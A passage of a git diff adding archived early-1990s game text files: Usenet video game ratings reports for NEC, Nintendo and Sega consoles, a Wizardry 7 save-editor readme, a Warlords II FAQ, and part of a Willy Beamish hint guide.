6.3 Pac-Land + ...12210.. 11 5.7 Paperboy + .....512.. 7 6.7 Qix + ....12320. 17 6.9 Rampage + .....14110 17 7.5 Roadblasters + 121311.... 9 3.4 Robo-Squash + ......1232 18 8.6 Robotron 2084 + .....54... 7 6.4 Rygar + .....02222 24 8.4 S.T.U.N. Runner + .....04210 12 7.8 Scrapyard Dog + ....2.1123 9 8.1 Shanghai + ....003211 26 7.8 Todd's Adventures In Slime World + 121.121... 8 4.0 Tournament Cyberball + ..1331.... 6 4.5 Turbo Sub + ...2.221.. 7 6.0 Viking Child + ....000222 32 8.3 Warbirds + ...0.14120 20 7.5 Xenophobe + .....161.. 6 7.0 Xybots + ..01.11131 19 7.6 Zarlor Mercenary + +In this report, video games have been rated on a scale of 1 to 10, +with 10 being the best and 1 being the worst. For each video game, +the total number of votes, the average rating, and the vote +distribution are shown. New video games are indicated by an `*' +before their entry. + +Mail votes to video@irss.njit.edu or ...!uunet!irss.njit.edu!video; if +you have any questions, mail them to video-request@irss.njit.edu or +...!uunet!irss.njit.edu!video-request. +-- +eric ng erc@zabriskie.berkeley.edu ...!ucbvax!zabriskie!erc diff --git a/textfiles.com/games/vg-nec.txt b/textfiles.com/games/vg-nec.txt new file mode 100644 index 00000000..ae41b497 --- /dev/null +++ b/textfiles.com/games/vg-nec.txt @@ -0,0 +1,115 @@ +From news Wed Mar 4 22:55:57 1992 +Path: uwm.edu!linac!att!ucbvax!plitvice.berkeley.edu!erc +From: erc@plitvice.berkeley.edu (Eric Ng) +Newsgroups: rec.games.video +Subject: VIDEO GAME RATINGS REPORT (NEC TURBOGRAFX-16, TURBOEXPRESS) +Message-ID: <44055@ucbvax.BERKELEY.EDU> +Date: 2 Mar 92 23:18:37 GMT +Sender: nobody@ucbvax.BERKELEY.EDU +Reply-To: video@irss.njit.edu +Organization: University of California at Berkeley +Lines: 103 + +For information on the list format and on submitting your ratings, +consult the article entitled `ABOUT THE VIDEO GAME RATINGS REPORT' in +the newsgroup rec.games.video. + +VIDEO GAME RATINGS REPORT + +NEC TURBOGRAFX-16, TURBOEXPRESS, AND PC-ENGINE +New Distribution Votes Rank Title + ........*. 1 9.0 1943 + * .....*.... 1 6.0 Addams Family, The + .......55. 2 8.5 Aero Blasters + ......*... 1 7.0 Afterburner II + .....126.. 8 7.5 Alien Crush + .......55. 2 8.5 Andre' Panza Kick Boxing + ...*...... 1 4.0 Batman + .....6.3.. 3 6.7 Battle Royale + ...1...531 10 8.1 Blazing Lazers + .....27... 4 6.8 Bloody Wolf + .2......7. 4 7.2 Bomberman + .....1250. 12 7.5 Bonk's Adventure + .....2..7. 4 8.2 Bonk's Revenge + ....1142.. 7 6.9 Cadash + .......*.. 1 8.0 China Warrior + ........*. 1 9.0 Columns + ......55.. 2 7.5 Cyber-Core + ........*. 2 9.0 Dead Moon + * ..*....... 1 3.0 Deep Blue + ......1.35 6 9.2 Devil's Crush + ...25.2... 4 5.2 Double Dungeon + ........*. 2 9.0 Download 2 + ........*. 1 9.0 Dragon Saber + ......6..3 3 8.0 Dragon Spirit + .....522.. 8 6.8 Dungeon Explorer + * ......*... 1 7.0 Exile + ..2.222... 4 5.2 Fantasy Zone + * ....*..... 1 5.0 Fighting Street + ....252... 4 6.0 Final Lap Twin + ........*. 1 9.0 Final Soldier + * ....55.... 2 5.5 Final Zone II + ....1.33.2 9 7.8 Galaga '90 + .........* 1 10.0 Gradius + ....*..... 1 5.0 J.J. & Jeff + * ......*... 1 7.0 Jack Nicklaus Golf + .1413.1... 10 4.0 Keith Courage In The Alpha Zones + .....333.. 6 7.0 Klax + .......*.. 2 8.0 Last Alert + ...2.2321. 10 6.6 Legendary Axe + ....1.35.. 8 7.2 Legendary Axe II + ..1....161 8 8.2 Military Madness + ........*. 1 9.0 Monster Lair + ...22..22. 4 6.5 Moto-Roader + * .........* 1 10.0 Neutopia + .....2..52 4 8.5 Ninja Spirit + .....55... 2 6.5 Ordyne + ........*. 1 9.0 Outrun + ...5.5.... 4 5.0 Pac-Land + .......*.. 1 8.0 Parasol Stars + .......*.. 1 8.0 Power Drift + * .....*.... 1 6.0 Power Golf + .....333.. 3 7.0 Psychosis + ....12.211 7 7.4 R-Type + .......*.. 1 8.0 Raiden + * ......55.. 2 7.5 Ranma 1/2 + ......*... 2 7.0 Rayxanber II + * ......*... 1 7.0 Road Spirits + ........*. 1 9.0 Salamander + ......*... 1 7.0 Sci + .....55... 2 6.5 Sidearms + ........*. 2 9.0 Silent Debuggers + .....55... 4 6.5 Sinistron + .....*.... 2 6.0 Sonic Spike V'ball + .....55... 2 6.5 Space Harrier + ......63.. 3 7.3 Splatterhouse + * ........*. 1 9.0 Spriggan + .......55. 2 8.5 Super Darius + .2....26.. 5 6.6 Super Star Soldier + ......*... 1 7.0 Super Volleyball + .....63... 3 6.3 T.V. Sports Football + * .......*.. 1 8.0 T.V. Sports Hockey + * ......*... 1 7.0 Talespin + .........* 1 10.0 Time Cruise II + .......*.. 1 8.0 Twin Hawk Custom + * ......*... 2 7.0 Valis II + * .......*.. 1 8.0 Vasteel + * ......*... 1 7.0 Veigues Tactical Gladiator + ...333.... 3 5.0 Victory Run + .......*.. 1 8.0 W-Ring + .....5.5.. 2 7.0 World Class Baseball + .......*.. 1 8.0 Xevious + * .......3.6 3 9.3 Ys I & II + * ......36.. 3 7.7 Ys III + +In this report, video games have been rated on a scale of 1 to 10, +with 10 being the best and 1 being the worst. For each video game, +the total number of votes, the average rating, and the vote +distribution are shown. New video games are indicated by an `*' +before their entry. + +Mail votes to video@irss.njit.edu or ...!uunet!irss.njit.edu!video; if +you have any questions, mail them to video-request@irss.njit.edu or +...!uunet!irss.njit.edu!video-request. +-- +eric ng erc@zabriskie.berkeley.edu ...!ucbvax!zabriskie!erc diff --git a/textfiles.com/games/vg-nes.txt b/textfiles.com/games/vg-nes.txt new file mode 100644 index 00000000..292894be --- /dev/null +++ b/textfiles.com/games/vg-nes.txt @@ -0,0 +1,181 @@ +From news Wed Mar 4 22:56:03 1992 +Path: uwm.edu!linac!att!ucbvax!plitvice.berkeley.edu!erc +From: erc@plitvice.berkeley.edu (Eric Ng) +Newsgroups: rec.games.video +Subject: VIDEO GAME RATINGS REPORT (NINTENDO SNES, NES, GAMEBOY) +Message-ID: <44056@ucbvax.BERKELEY.EDU> +Date: 2 Mar 92 23:19:35 GMT +Sender: nobody@ucbvax.BERKELEY.EDU +Reply-To: video@irss.njit.edu +Organization: University of California at Berkeley +Lines: 169 + +For information on the list format and on submitting your ratings, +consult the article entitled `ABOUT THE VIDEO GAME RATINGS REPORT' in +the newsgroup rec.games.video. + +VIDEO GAME RATINGS REPORT + +NINTENDO GAMEBOY +New Distribution Votes Rank Title + * ...*...... 1 4.0 Bases Loaded + * .....*.... 1 6.0 Batman + * .......*.. 1 8.0 Bill & Ted's Excellent Adventure + * .*........ 1 2.0 Boulderdash + * ........*. 1 9.0 Boxxle + * ...*...... 1 4.0 Bubble Ghost + * ......55.. 2 7.5 Castlevania + * .......*.. 1 8.0 Castlevania II + * ......*... 1 7.0 Chessmaster + * .......*.. 1 8.0 Choplifter II + ......*... 1 7.0 Crystal Quest + * ......*... 1 7.0 Daedalus Opus + * .......*.. 1 8.0 Dr. Mario + * ......*... 1 7.0 Dynablaster + ..2.2.22.. 4 5.8 F-1 Race + ....1.2123 9 8.3 Final Fantasy Legend + * .......5.5 2 9.0 Final Fantasy Legend II + .....222.2 4 7.8 Gargoyle's Quest + ...3....33 3 7.7 Golf + * .....55... 2 6.5 Ishido: Way Of The Stones + * ....*..... 1 5.0 Kwirk + * ......*... 1 7.0 Lock 'N Chase + * ........*. 1 9.0 Matchmania + .5.....5.. 2 5.0 Megaman + .....3.33. 3 7.7 Metroid II + * ....5....5 2 7.5 Nemesis + * .........* 1 10.0 Nemesis II + * ...*...... 1 4.0 Paperboy + * ........*. 1 9.0 Parodius + .2....2.22 4 7.0 Pipe Dream + * ...*...... 1 4.0 Play Action Football + * ........*. 1 9.0 Probotector + * .....*.... 1 6.0 Puzzle Road + * .......*.. 1 8.0 Puzznic + * ......*... 1 7.0 Qix + * ...*...... 1 4.0 Quarth + ..5....5.. 2 5.5 R-Type + .....3.33. 3 7.7 Revenge Of The Gator + .*........ 1 2.0 Robocop II + * ........*. 1 9.0 Scrabble + ....*..... 1 5.0 Shanghai + * .......*.. 1 8.0 Side Pocket + .....5..5. 2 7.5 Skate Or Die + * ..*....... 1 3.0 Sneaky Snakes + ....36.... 3 5.7 Solar Striker + .....1.225 10 9.0 Super Mario Land + * ........*. 1 9.0 Sword Of Hope + ....201031 16 7.5 Tetris + * ........*. 1 9.0 Yakuman + +NINTENDO ENTERTAINMENT SYSTEM (NES) AND FAMICOM +New Distribution Votes Rank Title + * .........* 1 10.0 A Boy And His Blob + .......*.. 1 8.0 Adventures Of Bayou Billy + ......25.2 4 8.2 Adventures Of Little Nemo In Dreamland + ...5...5.. 2 6.0 Alien Syndrome + ..5.....5. 2 6.0 Baseball Stars + ....5.5... 2 6.0 Bases Loaded + * ........*. 1 9.0 Battle Of Olympus + ....31.111 6 7.2 Blades Of Steel + ...3..3.3. 3 6.7 Blaster Master + ...*...... 2 4.0 Bubble Bobble + * .......*.. 2 8.0 Castlevania + .....5...5 2 8.0 Contra + .......36. 3 8.7 Crystalis + * .......*.. 1 8.0 Deja Vu + ......55.. 2 7.5 Destiny Of An Emperor + * ....*..... 2 5.0 Double Dragon + .....*.... 1 6.0 Double Dragon 2 + .....36... 3 6.7 Dragon Warrior + 1332...... 9 2.7 Duck Hunt + ........*. 1 9.0 Dungeon Magic + ..*....... 2 3.0 Excite-Bike + .2.2..24.. 5 5.8 Faxanadu + ..5..5.... 2 4.5 Fester's Quest + ......22.6 5 9.0 Final Fantasy + ...2..7... 4 6.2 Gauntlet + ..5....5.. 2 5.5 Gauntlet II + * ....*..... 2 5.0 Gradius + * ......*... 2 7.0 Gyruss + ....*..... 1 5.0 Heavy Barrel + .......*.. 1 8.0 Iron Tank + ...*...... 1 4.0 Ironsword + * ....*..... 1 5.0 Journey To Silius + ..3....6.. 3 6.3 Legacy Of The Wizard + .....21.24 9 8.6 Legend Of Zelda + ...5..2.2. 4 6.0 Life Force + .*........ 1 2.0 Magic Johnson's Fast Break Basketball + .....36... 3 6.7 Magic Of Sheherazade + ........*. 1 9.0 Maniac Mansion + * .....*.... 2 6.0 Marble Madness + ......333. 3 8.0 Metroid + .....*.... 2 6.0 Mike Tyson's Punch-Out + ......*... 1 7.0 Ms. Pac-Man + .....5...5 2 8.0 Ninja Gaiden + .....5..5. 2 7.5 Ninja Gaiden 2 + ....*..... 1 5.0 Off-Road + .*........ 1 2.0 Pinball Quest + .....*.... 1 6.0 Pipe Dream + ......*... 1 7.0 R.B.I. Baseball + ....*..... 1 5.0 R.C. Pro-Am + ....5.5... 2 6.0 Rolling Thunder + * ........*. 1 9.0 Romance Of The Three Kingdoms + * .....*.... 2 6.0 Rygar + ...*...... 1 4.0 Skate Or Die + ....*..... 1 5.0 Solomon's Key + ...5..22.. 4 5.8 Solstice + ......36.. 3 7.7 Star Tropics + * .....*.... 2 6.0 Street Fighter 2010 + ..5......5 2 6.5 Super C + 0..011121. 17 6.4 Super Mario Brothers + ......225. 4 8.2 Super Mario Brothers 2 + ...0...143 12 8.8 Super Mario Brothers 3 + .....55... 2 6.5 Super Sprint + ....2...25 4 8.5 Super Tecmo Bowl + ....222.2. 4 6.8 Tecmo Bowl + ...22.22.. 4 6.0 Teenage Mutant Ninja Turtles + ....3.6... 3 6.3 Teenage Mutant Ninja Turtles: The Arcade Game + .......*.. 1 8.0 Time Lord + 55........ 2 1.5 Top Gun + .....33.3. 3 7.3 Willow + * .....*.... 2 6.0 Xenophobe + ......*... 2 7.0 Xevious + .....1..61 6 8.7 Zelda II: Adventures Of Link + +SUPER NINTENDO ENTERTAINMENT SYSTEM AND SUPER FAMICOM +New Distribution Votes Rank Title + ..102.220. 17 6.2 Actraiser + 25....2... 4 3.0 D-Force + .11.22.11. 8 5.5 Darius Twin + 3.3...3... 3 3.7 Drakkhen + ....111122 17 7.9 F-Zero + .0.0.01222 14 7.6 Final Fantasy II + 12....14.. 7 5.1 Final Fight + .2..4.2.2. 5 5.6 John Madden Football + * .......*.. 1 8.0 Lagoon + ...2.2212. 9 6.7 Pilotwings + 1...211.21 8 6.5 Populous + .....2222. 4 7.5 Sim City + .0.0.20041 15 7.5 Super Castlevania IV + ..0.00133. 16 7.5 Super Ghouls 'N Ghosts + .00.000123 27 8.4 Super Mario World + ....5.5... 2 6.0 Super Off-Road + ....2.42.2 5 7.4 Super R-Type + 5.5....... 2 2.0 Super R.P.M. Racing + * .........* 1 10.0 Super Smash T.V. + 2....4.22. 5 6.0 Super Tennis + .0.0.1033. 13 7.2 U.N. Squadron + .224.2.... 5 3.8 Wanderers From Ys III + +In this report, video games have been rated on a scale of 1 to 10, +with 10 being the best and 1 being the worst. For each video game, +the total number of votes, the average rating, and the vote +distribution are shown. New video games are indicated by an `*' +before their entry. + +Mail votes to video@irss.njit.edu or ...!uunet!irss.njit.edu!video; if +you have any questions, mail them to video-request@irss.njit.edu or +...!uunet!irss.njit.edu!video-request. +-- +eric ng erc@zabriskie.berkeley.edu ...!ucbvax!zabriskie!erc diff --git a/textfiles.com/games/vg-sega.txt b/textfiles.com/games/vg-sega.txt new file mode 100644 index 00000000..15af842a --- /dev/null +++ b/textfiles.com/games/vg-sega.txt @@ -0,0 +1,183 @@ +From news Wed Mar 4 22:56:10 1992 +Path: uwm.edu!linac!att!ucbvax!plitvice.berkeley.edu!erc +From: erc@plitvice.berkeley.edu (Eric Ng) +Newsgroups: rec.games.video +Subject: VIDEO GAME RATINGS REPORT (SEGA GENESIS, GAME GEAR) +Message-ID: <44057@ucbvax.BERKELEY.EDU> +Date: 2 Mar 92 23:20:25 GMT +Sender: nobody@ucbvax.BERKELEY.EDU +Reply-To: video@irss.njit.edu +Organization: University of California at Berkeley +Lines: 171 + +For information on the list format and on submitting your ratings, +consult the article entitled `ABOUT THE VIDEO GAME RATINGS REPORT' in +the newsgroup rec.games.video. + +VIDEO GAME RATINGS REPORT + +SEGA GAME GEAR +New Distribution Votes Rank Title + * .......*.. 1 8.0 Berlin Wall + ...3...6.. 3 6.7 Castle Of Illusion Starring Mickey Mouse + ......*... 1 7.0 Clutch Hitter + ...125.... 7 5.4 Columns + ....5..5.. 2 6.5 Devilish + .......*.. 1 8.0 Dragon Crystal + * .....*.... 1 6.0 Factory Panic + ....3..33. 3 7.3 G-Loc + * .....*.... 1 6.0 Galaga '91 + ......5.5. 2 8.0 Joe Montana Football + * .......*.. 1 8.0 Junction + ......*... 2 7.0 Ninja Gaiden + * ......55.. 2 7.5 Shinobi + ......55.. 2 7.5 Slider + .......262 5 9.0 Sonic The Hedgehog + * ......*... 1 7.0 Space Harrier + ......5.5. 2 8.0 Super Monaco G.P. + * .....*.... 1 6.0 Woody Pop + +SEGA GENESIS AND MEGADRIVE +New Distribution Votes Rank Title + * .......*.. 1 8.0 688 Attack Sub + ..110130.. 12 5.6 Afterburner II + ..42..4... 5 4.8 Air Buster + ...2.52... 4 5.8 Air Diver + ..2.422... 5 5.2 Alex Kidd In The Enchanted Castle + .1..14.2.. 7 5.9 Alien Storm + 00231010.. 27 4.2 Altered Beast + .....5..5. 4 7.5 Arcus Odyssey + ....2242.. 5 6.6 Arnold Palmer Tournament Golf + ..2222.... 4 4.5 Arrow Flash + ..1..241.. 13 6.3 Batman + ...*...... 1 4.0 Battle Squadron + *......... 1 1.0 Battlemaster + ....5.5... 2 6.0 Burning Force + 0....00322 28 8.5 Castle Of Illusion Starring Mickey Mouse + * .....63... 3 6.3 Centurion: Defender Of Rome + ....01410. 11 7.0 Columns + ...22.6... 5 6.0 Crackdown + .....*.... 1 6.0 Crossfire + ..1..341.. 9 6.3 Cyberball + 22.1.11... 7 3.3 D.J. Boy + * ..*....... 1 3.0 Dangerous Seed + * .......55. 2 8.5 Decap Attack + .....*.... 1 6.0 Devil Hunter Yoko + ........63 8 9.4 Devil's Crush + ......55.. 2 7.5 Dinoland + ...133.1.. 6 5.7 Dynamite Duke + ....3.51.. 8 6.4 E-Swat + .....252.. 4 7.0 El Viento + ......*... 1 7.0 Elemental Master + .....1242. 9 7.8 F-22 Interceptor Advanced Tactical Fighter + 5..5...... 2 2.5 Faery Tale Adventure, The + .12222.... 9 4.2 Fantasia + 2..222.... 4 4.0 Fatal Labyrinth + ......55.. 2 7.5 Fatal Rewind + .2.52..... 4 3.8 Final Zone + ......161. 6 8.0 Fire Shark + .2.2222... 5 4.8 Flicky + ..0.0520.. 12 6.1 Forgotten Worlds + .......*.. 1 8.0 Fushigi No Umi No Nadia + ..0.011140 16 7.7 Gaiares + .....6.22. 10 7.0 Gain Ground + ...1214... 7 5.9 Ghostbusters + ....011120 21 7.8 Ghouls N' Ghosts + ....01142. 19 7.7 Golden Axe + .....12.7. 10 8.3 Golden Axe II + .....05010 11 7.6 Granada + * .....*.... 1 6.0 Hardball! + ...5.5.... 2 5.0 Heavy Unit + ....2.4.22 5 7.6 Hellfire + ...0010302 14 7.6 Herzog Zwei + ...112.2.2 8 7.1 Immortal, The + .....*.... 2 6.0 Insector-X + ...5...5.. 2 6.0 James Pond II: Codename: Robocod + 2...26.... 5 4.8 James Pond: Underwater Agent + * .......*.. 1 8.0 Joe Montana Football + ..1..1213. 8 7.2 Joe Montana II Sports Talk Football + ......116. 16 8.4 John Madden Football + .......134 17 9.3 John Madden Football '92 + .5...5.... 2 4.0 Junction + .....35..1 6 7.2 Klax + ....01511. 14 7.1 Lakers Vs. Celtics And The N.B.A. Playoffs + ...36..... 3 4.7 Last Battle + * .......*.. 1 8.0 M-1 Abrahams Battle Tank Simulator + ......116. 6 8.5 M.U.S.H.A. + .....36... 3 6.7 Mario Lemieux Hockey + .........* 1 10.0 Marvel Land + ......135. 6 8.3 Master Of Monsters + ...22.5... 4 5.8 Mercs + ..1.214... 7 5.7 Michael Jackson's Moonwalker + .....244.. 5 7.2 Midnight Resistance + ...1..1132 8 8.2 Might And Magic: Gates To Another World + .....*.... 1 6.0 Mike Ditka Power Football + ...4.24... 5 5.6 Mystic Defender + ......0.18 16 9.7 N.H.L. Hockey + ...1.1113. 6 7.2 Outrun + * ......*... 1 7.0 P.G.A. Tour Golf + ..3.3.3... 3 5.0 Pat Riley Basketball + ......2341 10 8.4 Phantasy Star II + * ....3..33. 3 7.3 Phantasy Star III + ......442. 5 7.8 Phelios + ..1.01202. 12 6.6 Pit-Fighter + ..00.0331. 15 7.1 Populous + ......2311 21 8.3 Quackshot Starring Donald Duck + ..22.42... 5 5.2 R.B.I. Baseball 3 + ..2...422. 5 6.8 Raiden Trad + ....531... 8 5.6 Rambo III + .....13311 20 8.0 Revenge Of Shinobi + * .......*.. 1 8.0 Rings Of Power + ..00..0133 23 8.7 Road Rash + * .......*.. 1 8.0 Roadblasters + .....25.2. 4 7.2 Sagaia + ....55.... 2 5.5 Shadow Blasters + ...000131. 11 7.2 Shadow Dancer: The Secret Of Shinobi + .252...... 4 3.0 Shadow Of The Beast + .1...1.51. 6 6.8 Shining In The Darkness + ..33.3.... 3 4.3 Shove It! + .....00143 56 9.1 Sonic The Hedgehog + .11.141... 7 5.0 Space Harrier II + ...011041. 17 7.1 Spiderman + * ...3...3.3 3 7.3 Star Control + .1...1221. 7 6.7 Starflight + .....*.... 1 6.0 Stormlord + ...*...... 1 4.0 Street Smart + .......251 18 8.9 Streets Of Rage + ....022400 20 7.4 Strider + ....216... 8 6.4 Super Hang-On + .0.0..2420 19 7.6 Super Monaco G.P. + ..22.5.... 4 4.8 Super Thunderblade + 4.21.1.... 7 2.7 Sword Of Sodan + * ......55.. 2 7.5 Sword Of Vermillion + ..22.22... 4 5.0 Target Earth + ..0.11321. 18 6.9 Thunder Force II + ..0.001420 24 7.8 Thunder Force III + 0...0.4012 18 7.6 Toejam & Earl + ....11611. 10 7.0 Tommy Lasorda Baseball + .....2.8.. 5 7.6 Trouble Shooter + ...1.242.. 9 6.7 Truxton + .....55... 2 6.5 Twin Cobra + 5....5.... 2 3.5 Ultimate Qix + .2.4..4... 5 4.8 Valis III + ....5.5... 2 6.0 Vapor Trail + ..22222... 5 5.0 Whip Rush + * ........*. 1 9.0 Wings Of Wor + * ...*...... 1 4.0 Wonderboy III + ..2.22.2.. 4 5.5 World Championship Soccer + ...55..... 2 4.5 Wrestle War + * .....*.... 1 6.0 Zany Golf + .......*.. 1 8.0 Zero Wing + .....3..6. 3 8.0 Zoom! + +In this report, video games have been rated on a scale of 1 to 10, +with 10 being the best and 1 being the worst. For each video game, +the total number of votes, the average rating, and the vote +distribution are shown. New video games are indicated by an `*' +before their entry. + +Mail votes to video@irss.njit.edu or ...!uunet!irss.njit.edu!video; if +you have any questions, mail them to video-request@irss.njit.edu or +...!uunet!irss.njit.edu!video-request. +-- +eric ng erc@zabriskie.berkeley.edu ...!ucbvax!zabriskie!erc diff --git a/textfiles.com/games/w7edit.txt b/textfiles.com/games/w7edit.txt new file mode 100644 index 00000000..62105b13 --- /dev/null +++ b/textfiles.com/games/w7edit.txt @@ -0,0 +1,69 @@ +Wizardry 7 character editor written by: Huy Nguyen + 6826 Roos + Houston, TX 77074 + +Here it is! after much sleepness nights and trial and error testing, +this is the final version of the Wizardry 7 character editor. It allows +modification of all the vital stats as well as inventory editing. + +The command-line invocation of the program is: "w7edit filespec character" +where "w7edit" is the name of the program, "filespec" is the filespec of +the Wizardry 7 savefile, and "character" is the name of the character to +edit. Within the program, these commands are valid: + +1) save - saves the current savefile to disk; it replaces the file which + was initially loaded +2) quit - exit without saving; all changes will be lost +3) items - changes to the screen that allows inventory editing +4) stats - changes to the screen that allows editing of vital stats +5) to edit another character, enter the character name preceded by the ~ sign; + NOTE: the editor assumes the the character name is unique; if the + character name is not unique (i.e. - there is a similar substring + in the savefile), then you may be editing the wrong part of the + file (and hosing up your savefile) + +In the stats editing screen, enter the number corresponding to the statistics +to modify; then, enter the new value for the statistics; I don't suggest that +you push the statistics beyond the maximum specified in the play guide since +I don't know the effect of such a high statistics; this means don't give +yourself 255 strength or 255 sword skill; + +In the inventory editing screen, enter the number corresponding to the +slot that you want to give yourself a new item, and then enter the number +corresponding to the new item; you can also modify the count/charge of an +item by entering the appropriate number; after you give yourself a new +item, load the savefile into Wizardry 7; as soon as you load the new +savefile, immediately drop the new item, and then pick it up again; this +will will restore all the attributes to the item (so a sword looks like +a sword and not a dagger); after this, you have to assay the item in order +to recognize it; the only thing this doesn't do is set the count/charge of +an item (if an item has magical power or can be merged); you have to set this +via the count/charge stat in the character editor; if you don't set the +count/charge for an item, it will be set to 0 by the editor; for magical +items (potions, magical weapons, etc.), if the count/charge is 0, then +you will have infinte charge on that item; if you give yourself a healing +potion and leave the count at 0, that potion will last forever; if you give +yourself a magical item/weapon and the count/charge is 0, then that +item/weapon will have infinite charge; if an item is not magical +(you can usually identify this by the identify spell), and you give it a +nonzero count/charge, you will get strange results; that is, you can +give yourself 10 halberds but this is not normal since you cannot merge +2 halberds to get 2 halberds; again, I don't know the effect of something +like this, so experiment at your own risk. + + + +DISCLAIMER: while this program has been throroughly tested, I cannot + guarantee it to be 100% error free; use of this program is + at your own risk (this means make a backup of your savefile + before you modify it). + + +This program is public domain so you may use and distribute it without +any registration fee; however, this file must always be distributed with +the .EXE; while I do not require you to register this program, if you +are feeling generous and/or want to reward all my hard work, you may +send a little fee to the above address; it may help "persuade" me to +work on editors for other games. + + \ No newline at end of file diff --git a/textfiles.com/games/war2.txt b/textfiles.com/games/war2.txt new file mode 100644 index 00000000..2b288294 --- /dev/null +++ b/textfiles.com/games/war2.txt @@ -0,0 +1,67 @@ +Warlords II frequently asked questions list: + +The questions answered in this FAQ are: +1) Where can I download scenarios from? +2) Do I need the Scenario Builder to use new scenarios? +3) Where do I get patches? +4) How can I edit random maps? + + --------- + +1) Where can I download scenarios from? + +wuarchive.wustl.edu: /pub/MSDOS_UPLOADS/games/warlords_II +lupan.byu.edu: /site/ibmstuff/Games/Warlords_II +www site - http://werple/apana.org.au/~elee/index.hmtl + +The www site tends to be faster and is less likely to be busy. + +(Of course, the quickest way to get lots of nice scenarios is to buy +the scenario builder, since it comes with about two dozen.) + + +2) Do I need the Scenario Builder to use new scenarios? + +No. All you need is the 1.11 patch. + + +3) Where do I get patches? + +The sites mentioned in question 1 (lupan and wuarchive) have them. + + +4) How can I edit random maps? + +Let's say I want to create a random scenario called "Sample": +(Any other name would do - but no more than *7* characters) + +i) Run WARSCEN. STAMP (say). Sample. . +(Any other scenario should do instead of STAMP.) + +ii) Run WARLORD2. Choose , and select desired options - +even a different terrain set. You can exit as soon as you get to +choose who is Human etc, but you will probably want to look at +the map first. Go ahead and look. If you don't like it - generate +another one. It doesn't matter whether you leave everyone as Human +or not at this stage. . You don't need to save the game. + +iii) At the DOS prompt: + From the Warlord2 subdirectory type: + COPY ..\RANDOM\RANDOM.* ..\SAMPLE\SAMPLE.* + +(I'm sure you can figure out the corresponding commands from other +directories.) + +iv) Run WARSCEN. The "Sample" scenario now appears. it. It is now +the random map. When you save, the information on the number of cities +and ruins should be updated. Note that a different terrain set may look +a bit odd when you first load it - just move around a bit and it should +look OK. Change what you like, and remember to save often. + +That's it! One edited random scenario. + + SSG _explicitly_ say not to use DOS commands to play with the files. + They do this for a reason. If it stuffs up, don't blame them. + Be careful - it is quite possible to create problems. You probably + should back up any saved games, in case you need to reinstall. + diff --git a/textfiles.com/games/wb_hint.txt b/textfiles.com/games/wb_hint.txt new file mode 100644 index 00000000..b4e35c7c --- /dev/null +++ b/textfiles.com/games/wb_hint.txt @@ -0,0 +1,484 @@ + *** WILLY BEAMISH HINTS FROM SIERRA ON-LINE, OFCOURSE FIXED BY [RYGAR] *** + + Carbuncle School + ~~~~~~~~~~~~~~~~ + Problem: + How do I get out of class? + + Hint: + Eventually, Ms. Glass will fall asleep, then you can sneak out + of class. Don't try to leave before she conks out, and make sure + she doesn't find out you have a frog in your backpack. If Ms. + Glass catches you for either of these offenses, you will get + sent to the principal's office. + + + Problem: + How do I get by Coach Beltz? + + Hint: + You can make a hall pass that will fool Coach Beltz from the + items inside Willy's desk. Combine the white crayon with the + piece of wood and show it to Coach Beltz when he asks you for + it. + + + Problem: + How do I avoid getting beat up by Spider? + + Hint: + To avoid getting mauled by Spider in the bathroom, choose the + dialog response 2 when he asks you to give him something from + your backpack. Then give him your Game Buddy. + + + Problem: + I've been sent to Principal Frick's office! What do I do? + + Hint: + The first time you get sent to Principal Frick's office choose + dialog response 1. Then give him back his toupee. Try not to get + in trouble again, if you are sent to Principal Frick's office + too many times you will end up in military school. + + + + The Beamish House + ~~~~~~~~~~~~~~~~~ + Problem: + Who is this Ghost Beamish character? + + Hint: + Ghost Beamish is the spirit of Willy's Grandfather. He provides + Willy with helpful information and guidance throughout the game. + Ghost Beamish provides the first warning that something foul is + afoot in the fair city of Frumpton. Most of the time it is a + good idea to listen to what Ghost Beamish has to tell you. + + + Problem: + Help! I keep getting sent to military school! + + Hint: + When you get a warning from Gordon or Sheila to do something, + you have a short amount of time to do it before the trouble + meter begins to climb into the danger zone. If Willy ignores his + parents or misbehaves too frequently he will get sent to + military school. Promptly doing what you are told and common + sense will keep you out of trouble for the most part. + + + Problem: + What do I do about the mail? + + Hint: + You are better off leaving your report card in the mail slot. If + you get caught trying to hide Willy's report card from Gordon + and Sheila, military school will be the inevitable result. + + + Problem: + What do I do if I cut my thumb? + + Hint: + If you cut your thumb while slicing veggies in the kitchen, you + need to go to the upstairs bathroom and use the first-aid kit in + the cupboard. Make sure that you put both iodine and band-aid on + it. If you don't take care of the cut it will become infected + and you won't be able to win the Nintari Championships. + + + Problem: + How can I get my Nintari Key away from Tiffany? + + Hint: + There are two ways to get the Nintari Key away from Tiffany. You + can either take her diary and blackmail her with it in her + bedroom or you can drop Horny on her when she is in the bathtub + after dinner on day 1. Make sure that you practice Nintari at + least once or you can't win the championships at the end of the + game. + + + Problem: + How do I get away from the baby-sitter from hell? + + Hint: + Once the baby sitter from hell goes batty, you only have a short + amount of time to act. Go upstairs to the bathroom and get + Tiffany's hairspray out of the cupboard. Then spray the bat with + the hairspray; this will give you more time to complete the + puzzle. Next, go to Brianna's room and take the mouse away from + the cat. After you have the mouse, go back downstairs to the + living room and jump behind the sofa. Place the mouse on the + coffee table and when Alicia-bat pounces on it, use the vacuum + cleaner to suck her up. + + + Problem: + What should I do with Duffy? + + Hint: + You need to feed Duffy whenever he is hungry and walk him + regularly. If you don't take good enough care of Duffy, he will + get you into trouble. If you neglect him he will run away and + the game is over. + + + Problem: + How do I deal with Brianna? + + Hint: + If you play with Brianna on the swings in the back yard, choose + the second dialog response when she asks you to push her higher. + If you send her into orbit you may as well pack your bags for + military school. Picking Brianna up when she falls off her bed + after dinner on the first day will make your trouble meter go + down. + + + Problem: + What do I have to do to get some money? + + Hint: + There are two ways for Willy to earn money at the Beamish Home. + The first chance is to mow the lawn after dinner on day 1. The + second opportunity is to wash the Grange Rover after breakfast + on day 2. + + + + Willy's Neighborhood + ~~~~~~~~~~~~~~~~~~~~ + Problem: + What do I in the tree fort on day 2? + + Hint: + Tree Fort Headquarters is where Willy likes to hang out with his + friends, Dana and Perry. On day 2 you need to make sure that you + get the Biffo Man comic book from the tree fort. You can also + trade Perry for the Mickey Morris baseball card if you have + Tiffany's diary, but this is not crucial to solving the game. + + + Problem: + How about the tree fort after Day 2? + + Hint: + After day 2 you can convince Dana to enter Gigi in the Tootsweet + frog jump if you give her a T-shirt from the OK T-shirt Kiosk in + Olde Towne. On day 3 you can get a jar of fire ants in the tree + fort. + + + Problem: + What do I do at Sloeffer Park? + + Hint: + 